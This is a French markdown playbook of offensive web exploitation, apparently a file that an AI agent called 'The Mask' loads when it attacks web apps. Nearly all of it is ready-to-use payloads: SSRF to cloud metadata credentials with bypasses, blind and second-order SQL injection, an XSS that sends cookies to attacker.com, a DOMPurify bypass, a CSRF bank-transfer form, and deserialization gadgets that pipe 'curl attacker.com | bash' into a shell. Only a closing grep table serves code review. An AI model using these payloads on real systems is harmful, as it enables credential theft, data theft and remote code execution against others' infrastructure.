# atk-exploit-web.md
> Techniques d'exploitation web offensives. Chaque technique inclut un PoC concret.
> The Mask charge ce fichier quand : app web, API REST, endpoints HTTP, sessions, cookies.

---

## 1. SSRF → IMDS → Credentials

**Description:** L'application fetch une URL contrôlée par l'attaquant. Sur les clouds (AWS/GCP/Azure), l'IMDS (Instance Metadata Service) expose les credentials IAM via `169.254.169.254`.

**Chaîne d'exploitation :**
```
User input: url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ GET /latest/meta-data/iam/security-credentials/role-name
→ Response: {"AccessKeyId":"ASIA...", "SecretAccessKey":"...", "Token":"..."}
→ aws sts assume-role → lateral movement
```

**Bypasses SSRF communs :**
- Loopback alternatifs : `http://0x7f000001/`, `http://[::1]/`, `http://127.1/`
- DNS rebinding : domaine résout vers 127.0.0.1 après le check
- Redirect : `302 → http://169.254.169.254/` (si le client suit les redirects)
- Encodages : `http://2130706433/` (decimal), `http://0177.0.0.1/` (octal)

**Impact :** Credentials cloud → accès S3/RDS/secrets → compromise complète de l'infrastructure.

---

## 2. SQLi — Blind + Second-Order

**Blind time-based (PostgreSQL) :**
```sql
'; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users--
```
**Blind boolean (MySQL) :**
```sql
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
```

**Second-order SQLi :**
L'injection est stockée en base (sanitisée à l'écriture), puis réutilisée sans échappement lors d'une opération ultérieure (ex: changement de mot de passe).
```
Register: username = admin'--
→ UPDATE users SET password='new' WHERE username='admin'--' AND old_password='x'
→ Bypasse la vérification de l'ancien mot de passe
```

**Impact :** Dump de données, bypass auth, RCE via `INTO OUTFILE` ou `xp_cmdshell`.

---

## 3. XSS — Stored, DOM, Mutation

**Stored XSS (HTML context) :**
```html
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
```

**DOM XSS (sink : innerHTML) :**
```js
// Code vulnérable
document.getElementById('out').innerHTML = location.hash.slice(1);
// Payload URL
https://app.com/page#<img src=x onerror=alert(1)>
```

**Mutation XSS (mXSS) — bypasse les sanitizers :**
```html
<!-- DOMPurify < 3.0.6 bypass -->
<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(1) src>">
```

**Impact XSS :** Session hijacking, keylogging, CSRF forcé, pivot vers l'intranet via `fetch()`.

---

## 4. CSRF — Bypass SameSite

**Ancien CSRF (form POST) :**
```html
<form action="https://bank.com/transfer" method="POST">
  <input name="amount" value="1000">
  <input name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
```

**Bypass SameSite=Lax via navigation GET :**
```
SameSite=Lax autorise les cookies sur top-level GET navigation.
Exploitable si l'action sensible accepte GET ou si un gadget de redirect existe.
```

**CSRF + XSS = amplification :** Le XSS permet d'extraire le token CSRF et d'effectuer des actions authentifiées depuis le domaine cible.

---

## 5. Deserialization — Gadget Chains

**Java (ObjectInputStream) — ysoserial Commons Collections :**
```bash
java -jar ysoserial.jar CommonsCollections6 'curl attacker.com/pwned' | base64
# Injecter dans le cookie/header désérialisé
```

**PHP unserialize() :**
```php
// Gadget via __wakeup / __destruct
O:4:"User":1:{s:4:"role";s:5:"admin";}
// Si une classe avec __destruct exécute du code :
O:8:"FileUtil":1:{s:4:"path";s:15:"/etc/cron.d/evil";}
```

**Python pickle :**
```python
import pickle, os
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl attacker.com/shell.sh | bash',))
payload = pickle.dumps(Exploit())
```

**Node.js prototype pollution → RCE :**
```json
{"__proto__": {"shell": "curl attacker.com | bash", "env": {}}}
```
Quand `child_process.execSync` est invoqué après pollution, il utilise `shell` depuis `Object.prototype`.

**Impact :** RCE arbitraire avec les privileges du process.

---

## Grep Patterns (code review)

| Signe | Risque |
|-------|--------|
| `fetch(userInput)` sans validation schéma/host | SSRF |
| `cursor.execute("SELECT..." + var)` | SQLi |
| `element.innerHTML = ` | XSS |
| `$_GET['action']` dans une requête état-changeante | CSRF |
| `pickle.loads(`, `unserialize(`, `ObjectInputStream` | Deserialization RCE |
